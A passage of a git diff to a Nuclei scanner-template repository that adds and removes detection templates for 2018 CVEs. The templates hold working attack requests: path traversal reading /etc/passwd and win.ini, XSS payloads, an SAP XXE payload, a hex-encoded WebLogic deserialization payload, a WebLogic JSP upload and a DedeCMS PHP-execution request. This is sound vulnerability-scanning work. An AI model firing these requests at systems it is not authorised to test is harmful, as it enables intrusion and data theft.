"{{BaseURL}}/enginemanager/server/logs/download?logType=error&logName=../../../../../../../../etc/passwd&logSource=engine" + + matchers-condition: and + matchers: + - type: regex + part: body + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2018/cve-2018-19458.yaml b/nuclei-templates/CVE-2018/cve-2018-19458.yaml new file mode 100644 index 0000000000..ab49b9ff30 --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-19458.yaml @@ -0,0 +1,32 @@ +id: CVE-2018-19458 + +info: + name: PHP Proxy 3.0.3 - Local File Inclusion + author: daffainfo + severity: high + description: In PHP Proxy 3.0.3, any user can read files from the server without authentication due to an index.php?q=file:/// LFI URI, a different vulnerability than CVE-2018-19246. + reference: + - https://www.exploit-db.com/exploits/45780 + - https://www.cvedetails.com/cve/CVE-2018-19458 + tags: cve,cve2018,lfi,proxy + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.50 + cve-id: CVE-2018-19458 + cwe-id: CWE-287 + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?q=file:///etc/passwd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2018/cve-2018-19877.yaml b/nuclei-templates/CVE-2018/cve-2018-19877.yaml new file mode 100644 index 0000000000..860a40a6b3 --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-19877.yaml @@ -0,0 +1,53 @@ +id: CVE-2018-19877 + +info: + name: Adiscon LogAnalyzer <4.1.7 - Cross-Site Scripting + author: arafatansari + severity: medium + description: | + Adiscon LogAnalyzer before 4.1.7 contains a cross-site scripting vulnerability in the 'referer' parameter of the login.php file. + impact: | + Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. + remediation: | + Upgrade Adiscon LogAnalyzer to version 4.1.7 or later to mitigate this vulnerability. + reference: + - https://loganalyzer.adiscon.com/news/loganalyzer-v4-1-7-v4-stable-released/ + - https://www.exploit-db.com/exploits/45958/ + - https://nvd.nist.gov/vuln/detail/CVE-2018-19877 + - https://github.com/ARPSyndicate/kenzer-templates + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2018-19877 + cwe-id: CWE-79 + epss-score: 0.00241 + epss-percentile: 0.63554 + cpe: cpe:2.3:a:adiscon:loganalyzer:*:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 1 + vendor: adiscon + product: loganalyzer + tags: cve,cve2018,adiscon,xss,edb + +http: + - method: GET + path: + - "{{BaseURL}}/src/login.php?referer=%22%3E%3Cscript%3Econfirm(document.domain)%3C/script%3E" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'value="">' + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 +# digest: 4a0a0047304502210085b48bbdf595b702ebec999f9e07ec650e2ca0276e09d9ab926467143c087d0d022063857749f628ad5e3d598a8e17fa18c4708545c2196caebf9b7505e171159d66:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2018/cve-2018-19892.yaml b/nuclei-templates/CVE-2018/cve-2018-19892.yaml new file mode 100644 index 0000000000..e957023784 --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-19892.yaml @@ -0,0 +1,69 @@ +id: CVE-2018-19892 + +info: + name: DomainMOD 4.11.01 - Cross-Site Scripting + author: arafatansari + severity: medium + description: | + DomainMOD 4.11.01 contains a cross-site scripting vulnerability via /domain//admin/dw/add-server.php DisplayName parameters. + impact: | + Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information. + remediation: | + Upgrade to the latest version of DomainMOD or apply the vendor-provided patch to mitigate this vulnerability. + reference: + - https://www.exploit-db.com/exploits/45959 + - https://github.com/domainmod/domainmod/issues/85 + - https://nvd.nist.gov/vuln/detail/CVE-2018-19892 + - https://github.com/ARPSyndicate/kenzer-templates + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N + cvss-score: 4.8 + cve-id: CVE-2018-19892 + cwe-id: CWE-79 + epss-score: 0.00101 + epss-percentile: 0.40415 + cpe: cpe:2.3:a:domainmod:domainmod:*:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 3 + vendor: domainmod + product: domainmod + tags: cve2018,cve,domainmod,xss,authenticated,edb + +http: + - raw: + - | + POST / HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + new_username={{username}}&new_password={{password}} + - | + POST /admin/dw/add-server.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + new_name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&new_host=abc&new_protocol=https&new_port=2086&new_username=abc&new_api_token=255&new_hash=&new_notes= + - | + GET /admin/dw/servers.php HTTP/1.1 + Host: {{Hostname}} + + host-redirects: true + max-redirects: 3 + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '">' + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 +# digest: 4a0a0047304502201f24e9ecdde360ff34ab0c10a92f93fbbf91649ea9a2f0154e5cfb153518dd98022100fdae8217f56ff39de6d7e9c9e41db0001fb9c8ad1b336532ad1105c5fd39fa5a:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2018/cve-2018-20010.yaml b/nuclei-templates/CVE-2018/cve-2018-20010.yaml new file mode 100644 index 0000000000..90d48ccdab --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-20010.yaml @@ -0,0 +1,60 @@ +id: CVE-2018-20010 + +info: + name: DomainMOD 4.11.01 - Cross-Site Scripting + author: arafatansari + severity: medium + description: | + DomainMOD through version 4.11.01 is vulnerable to cross-site scripting via the /assets/add/ssl-provider-account.php Username field. + impact: | + Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. + remediation: | + Upgrade to the latest version of DomainMOD or apply the vendor-provided patch to mitigate this vulnerability. + reference: + - https://www.exploit-db.com/exploits/46373/ + - https://github.com/domainmod/domainmod/issues/88 + - https://nvd.nist.gov/vuln/detail/CVE-2018-20010 + - https://github.com/ARPSyndicate/kenzer-templates + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N + cvss-score: 4.8 + cve-id: CVE-2018-20010 + cwe-id: CWE-79 + epss-score: 0.00153 + epss-percentile: 0.50703 + cpe: cpe:2.3:a:domainmod:domainmod:*:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 3 + vendor: domainmod + product: domainmod + tags: cve,cve2018,domainmod,xss,authenticated,edb + +http: + - raw: + - | + POST / HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + new_username={{username}}&new_password={{password}} + - | + POST /assets/add/ssl-provider-account.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + new_ssl_provider_id=1&new_owner_id=1&new_email_address=&new_username=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&new_password=&new_reseller=0&new_reseller_id=&new_notes= + - | + GET /assets/ssl-accounts.php HTTP/1.1 + Host: {{Hostname}} + + host-redirects: true + max-redirects: 2 + matchers: + - type: dsl + dsl: + - 'status_code_3 == 200' + - 'contains(header_3, "text/html")' + - 'contains(body_3, ">")' + condition: and +# digest: 4b0a00483046022100c634c1d3655ae86d99caaad29c7f5a5d4ef4d696601e6b952bb796b1326800c7022100f409497a17e56982fb3e63e4424b98b22222eeb4b224a7647417f3220245c8cb:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2018/cve-2018-20470.yaml b/nuclei-templates/CVE-2018/cve-2018-20470.yaml new file mode 100644 index 0000000000..15ee6fd76f --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-20470.yaml @@ -0,0 +1,34 @@ +id: CVE-2018-20470 + +info: + name: Sahi pro 7.x/8.x - Directory Traversal + author: daffainfo + severity: high + description: An issue was discovered in Tyto Sahi Pro through 7.x.x and 8.0.0. A directory traversal (arbitrary file access) vulnerability exists in the web reports module. This allows an outside attacker to view contents of sensitive files. + reference: + - https://barriersec.com/2019/06/cve-2018-20470-sahi-pro/ + - https://www.cvedetails.com/cve/CVE-2018-20470 + tags: cve,cve2018,lfi + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.50 + cve-id: CVE-2018-20470 + cwe-id: CWE-22 + +requests: + - method: GET + path: + - "{{BaseURL}}/_s_/dyn/Log_highlight?href=../../../../windows/win.ini&n=1#selected" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - "bit app support" + - "fonts" + - "extensions" + condition: and + part: body diff --git a/nuclei-templates/CVE-2018/CVE-2018-20824.yaml b/nuclei-templates/CVE-2018/cve-2018-20824.yaml similarity index 100% rename from nuclei-templates/CVE-2018/CVE-2018-20824.yaml rename to nuclei-templates/CVE-2018/cve-2018-20824.yaml diff --git a/nuclei-templates/CVE-2018/cve-2018-2392.yaml b/nuclei-templates/CVE-2018/cve-2018-2392.yaml deleted file mode 100644 index 448abf9d82..0000000000 --- a/nuclei-templates/CVE-2018/cve-2018-2392.yaml +++ /dev/null @@ -1,89 +0,0 @@ -id: CVE-2018-2392 - -info: - name: SAP Internet Graphics Server (IGS) XML External Entity - author: _generic_human_ - severity: high - tags: cve,cve2018,sap,igs,xxe,xmlchart - description: | - SAP Internet Graphics Servers (IGS) running versions 7.20, 7.20EXT, 7.45, 7.49, or 7.53 has two XXE vulnerabilities within the XMLCHART page - CVE-2018-2392 and CVE-2018-2393. These vulnerabilities occur due to a lack of appropriate validation on the Extension HTML tag when submitting a POST request to the XMLCHART page to generate a new chart. - reference: - - https://launchpad.support.sap.com/#/notes/2525222 - - https://blogs.sap.com/2018/02/13/sap-security-patch-day-february-2018/ - - https://www.rapid7.com/db/modules/auxiliary/admin/sap/sap_igs_xmlchart_xxe/ - - https://troopers.de/troopers18/agenda/3r38lr/ - - https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/sap/sap_igs_xmlchart_xxe.rb - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - cvss-score: 7.50 - cve-id: CVE-2018-2392 - cwe-id: CWE-611 - -requests: - - raw: - - | - POST /XMLCHART HTTP/1.1 - Host: {{Hostname}} - Content-Type: multipart/form-data; boundary={{randstr_1}} - - --{{randstr_1}} - Content-Disposition: form-data; name="{{randstr_2}}"; filename="{{randstr_3}}.xml" - Content-Type: application/xml - - - - - ALttP - - - - 12345 - - - - --{{randstr_1}} - Content-Disposition: form-data; name="{{randstr_5}}"; filename="{{randstr_6}}.xml" - Content-Type: application/xml - - - ]> - - - - - <Extension>&xxe;</Extension> - - - - - --{{randstr_1}}-- - - # file name - /etc/passwd - - matchers-condition: and - matchers: - - type: word - words: - - "Picture" - - "Info" - - "/output/" - part: body - condition: and - - - type: word - words: - - "ImageMap" - - "Errors" - part: body - condition: or - - - type: status - status: - - 200 - - - type: word - words: - - "text/html" - - "SAP Internet Graphics Server" - part: header - condition: and diff --git a/nuclei-templates/CVE-2018/cve-2018-2628.yaml b/nuclei-templates/CVE-2018/cve-2018-2628.yaml deleted file mode 100644 index 6ea92ada0e..0000000000 --- a/nuclei-templates/CVE-2018/cve-2018-2628.yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: CVE-2018-2628 - -info: - name: Oracle WebLogic Server Deserialization RCE - author: milo2012 - severity: critical - description: Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent - WLS Core Components). Supported versions that are affected are 10.3.6.0, 12.1.3.0, 12.2.1.2 and 12.2.1.3. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3 to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. - reference: https://www.nc-lp.com/blog/weaponize-oracle-weblogic-server-poc-cve-2018-2628 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2018-2628 - cwe-id: CWE-502 - tags: cve,cve2018,oracle,weblogic,network,deserialization - -network: - - inputs: - - data: "{{hex_decode('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a')}}" - read: 1024 - - data: "{{hex_decode('000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd60000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd071a7727000d3234322e3231342e312e32353461863d1d0000000078')}}" - read: 1024 - - data: "{{hex_decode('000003ad056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707729000a556e69636173745265660000000005a2000000005649e3fd00000000000000000000000000000078fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff')}}" - read: 1024 - - host: - - "{{Hostname}}" - - read-size: 1024 - matchers: - - type: regex - regex: - - "\\$Proxy[0-9]+" diff --git a/nuclei-templates/CVE-2018/cve-2018-2791.yaml b/nuclei-templates/CVE-2018/cve-2018-2791.yaml deleted file mode 100644 index 3b9ac98e97..0000000000 --- a/nuclei-templates/CVE-2018/cve-2018-2791.yaml +++ /dev/null @@ -1,43 +0,0 @@ -id: CVE-2018-2791 - -info: - name: Oracle WebCenter Sites Multiple XSS - author: madrobot,leovalcante - severity: high - description: Vulnerability in the Oracle WebCenter Sites component of Oracle Fusion Middleware. - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N - cvss-score: 8.20 - cve-id: CVE-2018-2791 - reference: - - http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html - - http://www.securitytracker.com/id/1040695 - - http://www.securityfocus.com/bid/103800 - - https://www.exploit-db.com/exploits/44752/ - - https://outpost24.com/blog/Vulnerabilities-discovered-in-Oracle-WebCenter-Sites - tags: cve,cve2018,oracle,xss,wcs - -requests: - - raw: - - | - GET /cs/Satellite?pagename=OpenMarket/Gator/FlexibleAssets/AssetMaker/confirmmakeasset&cs_imagedir=qqq%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1 - Host: {{BaseURL}} - - - | - GET /cs/Satellite?destpage="&pagename=OpenMarket%2FXcelerate%2FUIFramework%2FLoginError HTTP/1.1 - Host: {{BaseURL}} - - stop-at-first-match: true - matchers-condition: or - matchers: - - type: word - part: body - words: - - '/graphics/common/screen/dotclear.gif' - - - type: word - part: body - words: - - '' - - 'Missing translation key' - condition: and \ No newline at end of file diff --git a/nuclei-templates/CVE-2018/cve-2018-2894.yaml b/nuclei-templates/CVE-2018/cve-2018-2894.yaml deleted file mode 100644 index c5c306ce1f..0000000000 --- a/nuclei-templates/CVE-2018/cve-2018-2894.yaml +++ /dev/null @@ -1,92 +0,0 @@ -id: CVE-2018-2894 - -info: - name: Oracle WebLogic RCE - author: geeknik,pdteam - description: Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server. - severity: critical - tags: cve,cve2018,oracle,weblogic,rce - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2018-2894 - reference: - - https://blog.detectify.com/2018/11/14/technical-explanation-of-cve-2018-2894-oracle-weblogic-rce/ - - https://github.com/vulhub/vulhub/tree/fda47b97c7d2809660a4471539cd0e6dbf8fac8c/weblogic/CVE-2018-2894 - -requests: - - raw: - - | - POST /ws_utc/resources/setting/options HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - setting_id=general&BasicConfigOptions.workDir=%2Fu01%2Foracle%2Fuser_projects%2Fdomains%2Fbase_domain%2Fservers%2FAdminServer%2Ftmp%2F_WL_internal%2Fcom.oracle.webservices.wls.ws-testclient-app-wls%2F4mcj4y%2Fwar%2Fcss&BasicConfigOptions.proxyHost=&BasicConfigOptions.proxyPort=80 - - - | - POST /ws_utc/resources/setting/keystore HTTP/1.1 - Host: {{Hostname}} - Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuim0dyiDSPBPu31g - - ------WebKitFormBoundaryuim0dyiDSPBPu31g - Content-Disposition: form-data; name="ks_name" - - {{randstr}} - ------WebKitFormBoundaryuim0dyiDSPBPu31g - Content-Disposition: form-data; name="ks_edit_mode" - - false - ------WebKitFormBoundaryuim0dyiDSPBPu31g - Content-Disposition: form-data; name="ks_password_front" - - - ------WebKitFormBoundaryuim0dyiDSPBPu31g - Content-Disposition: form-data; name="ks_password" - - - ------WebKitFormBoundaryuim0dyiDSPBPu31g - Content-Disposition: form-data; name="ks_password_changed" - - false - ------WebKitFormBoundaryuim0dyiDSPBPu31g - Content-Disposition: form-data; name="ks_filename"; filename="{{randstr}}.jsp" - Content-Type: application/octet-stream - - <%@ page import="java.util.*,java.io.*"%> - <%@ page import="java.security.MessageDigest"%> - - <% - String cve = "CVE-2018-2894"; - MessageDigest alg = MessageDigest.getInstance("MD5"); - alg.reset(); - alg.update(cve.getBytes()); - byte[] digest = alg.digest(); - StringBuffer hashedpasswd = new StringBuffer(); - String hx; - for (int i=0;i - ------WebKitFormBoundaryuim0dyiDSPBPu31g-- - - - | - GET /ws_utc/css/config/keystore/{{id}}_{{randstr}}.jsp HTTP/1.1 - Host: {{Hostname}} - - extractors: - - type: regex - name: id - internal: true - group: 1 - regex: - - '([0-9]+){{randstr}}' - - matchers: - - type: word - words: - - "26ec00a3a03f6bfc5226fd121567bb58" # MD5 (CVE-2018-2894) diff --git a/nuclei-templates/CVE-2018/cve-2018-3760.yaml b/nuclei-templates/CVE-2018/cve-2018-3760.yaml new file mode 100644 index 0000000000..a155100b9b --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-3760.yaml @@ -0,0 +1,48 @@ +id: CVE-2018-3760 + +info: + name: Ruby On Rails Path Traversal + author: 0xrudra,pikpikcu + severity: high + reference: + - https://github.com/vulhub/vulhub/tree/master/rails/CVE-2018-3760 + - https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf + - https://seclists.org/oss-sec/2018/q2/210 + - https://xz.aliyun.com/t/2542 + description: | + Ruby On Rails is a well-known Ruby Web development framework, which uses Sprockets as a static file server in development environment. Sprockets is a Ruby library that compiles and distributes static resource files. + There is a path traversal vulnerability caused by secondary decoding in Sprockets 3.7.1 and lower versions. An attacker can use %252e%252e/ to access the root directory and read or execute any file on the target server. + tags: cve,cve2018,rails,lfi,ruby + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.50 + cve-id: CVE-2018-3760 + cwe-id: CWE-200 + +requests: + - raw: + - | + GET /assets/file:%2f%2f/etc/passwd HTTP/1.1 + Host: {{Hostname}} + + - | + GET /assets/file:%2f%2f{{path}}/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd HTTP/1.1 + Host: {{Hostname}} + + extractors: + - type: regex + name: path + internal: true + part: body + regex: + - "/etc/passwd is no longer under a load path: (.*?)," + + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2018/cve-2018-6389.yaml b/nuclei-templates/CVE-2018/cve-2018-6389.yaml deleted file mode 100644 index 0de05178c4..0000000000 --- a/nuclei-templates/CVE-2018/cve-2018-6389.yaml +++ /dev/null @@ -1,27 +0,0 @@ -id: CVE-2018-6389 - -info: - name: Wordpress DoS - author: medbsq - severity: low -# https://www.cvebase.com/cve/2018/6389 -requests: - - method: POST - path: - - "{{BaseURL}}/wp-admin/load-scripts.php?load=" - headers: - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36 - - matchers-condition: and - matchers: - - type: word - words: - - "x_powered_by" - - "Engine" - - "content_type" - - "javascript" - condition: and - part: header - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2018/cve-2018-7251.yaml b/nuclei-templates/CVE-2018/cve-2018-7251.yaml new file mode 100644 index 0000000000..17ebdb1a9e --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-7251.yaml @@ -0,0 +1,31 @@ +id: CVE-2018-7251 + +info: + name: AnchorCMS Error Log Exposure + author: pdteam + severity: critical + tags: cve,cve2018,anchorcms,logs,error + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2018-7251 + cwe-id: CWE-200 + description: "An issue was discovered in config/error.php in Anchor 0.12.3. The error log is exposed at an errors.log URI, and contains MySQL credentials if a MySQL error (such as \"Too many connections\") has occurred." + reference: + - https://github.com/anchorcms/anchor-cms/issues/1247 + - http://www.andmp.com/2018/02/advisory-assigned-CVE-2018-7251-in-anchorcms.html + - https://twitter.com/finnwea/status/965279233030393856 + - http://packetstormsecurity.com/files/154723/Anchor-CMS-0.12.3a-Information-Disclosure.html + - https://github.com/anchorcms/anchor-cms/releases/tag/0.12.7 + +requests: + - method: GET + path: + - '{{BaseURL}}/anchor/errors.log' + matchers: + - type: word + words: + - '"date":' + - '"message":' + - '"trace":[' + condition: and diff --git a/nuclei-templates/CVE-2018/cve-2018-7662.yaml b/nuclei-templates/CVE-2018/cve-2018-7662.yaml deleted file mode 100644 index eb56470249..0000000000 --- a/nuclei-templates/CVE-2018/cve-2018-7662.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: CVE-2018-7662 - -info: - name: CouchCMS Full Path Disclosure - author: ritikchaddha - severity: medium - description: phpmailer.php and mysql2i.func.php disclosure the full path - reference: https://github.com/CouchCMS/CouchCMS/issues/46 - tags: couchcms,fpd,cve,cve2018 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.30 - cve-id: CVE-2018-7662 - cwe-id: CWE-200 - -requests: - - method: GET - path: - - "{{BaseURL}}/includes/mysql2i/mysql2i.func.php" - - "{{BaseURL}}/addons/phpmailer/phpmailer.php" - - stop-at-first-match: true - matchers-condition: or - matchers: - - type: word - part: body - words: - - "mysql2i.func.php on line 10" - - "Fatal error: Cannot redeclare mysql_affected_rows() in" - condition: and - - - type: word - part: body - words: - - "phpmailer.php on line 10" - - "Fatal error: Call to a menber function add_event_listener() on a non-object in" - condition: and diff --git a/nuclei-templates/CVE-2018/cve-2018-7700.yaml b/nuclei-templates/CVE-2018/cve-2018-7700.yaml new file mode 100644 index 0000000000..32b525bf7f --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-7700.yaml @@ -0,0 +1,33 @@ +id: CVE-2018-7700 + +info: + name: DedeCMS V5.7SP2 RCE + author: pikpikcu + severity: high + reference: https://laworigin.github.io/2018/03/07/CVE-2018-7700-dedecms%E5%90%8E%E5%8F%B0%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/ + tags: cve,cve2018,dedecms,rce + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H + cvss-score: 8.80 + cve-id: CVE-2018-7700 + cwe-id: CWE-352 + description: "DedeCMS 5.7 has CSRF with an impact of arbitrary code execution, because the partcode parameter in a tag_test_action.php request can specify a runphp field in conjunction with PHP code." + +requests: + - method: GET + path: + - "{{BaseURL}}/tag_test_action.php?url=a&token=&partcode={dede:field%20name=%27source%27%20runphp=%27yes%27}phpinfo();{/dede:field}" + + matchers-condition: and + matchers: + + - type: word + words: + - "phpinfo" + - "PHP Version" + part: body + condition: and + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2018/cve-2018-7719.yaml b/nuclei-templates/CVE-2018/cve-2018-7719.yaml deleted file mode 100644 index 069b187a78..0000000000 --- a/nuclei-templates/CVE-2018/cve-2018-7719.yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: CVE-2018-7719 - -info: - name: Acrolinx Server Directory Traversal - author: 0x_akoko - severity: high - description: Acrolinux Server versions prior to 5.2.5 suffer from a directory traversal vulnerability. - reference: - - https://packetstormsecurity.com/files/146911/Acrolinx-Server-Directory-Traversal.html - - https://www.cvedetails.com/cve/CVE-2018-7719 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2018-7719 - cwe-id: CWE-22 - tags: cve,cve2018,acrolinx,lfi - -requests: - - raw: - - |+ - GET /..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows\win.ini HTTP/1.1 - Host: {{Hostname}} - - unsafe: true - matchers: - - type: word - part: body - words: - - "bit app support" - - "fonts" - - "extensions" - condition: and \ No newline at end of file diff --git 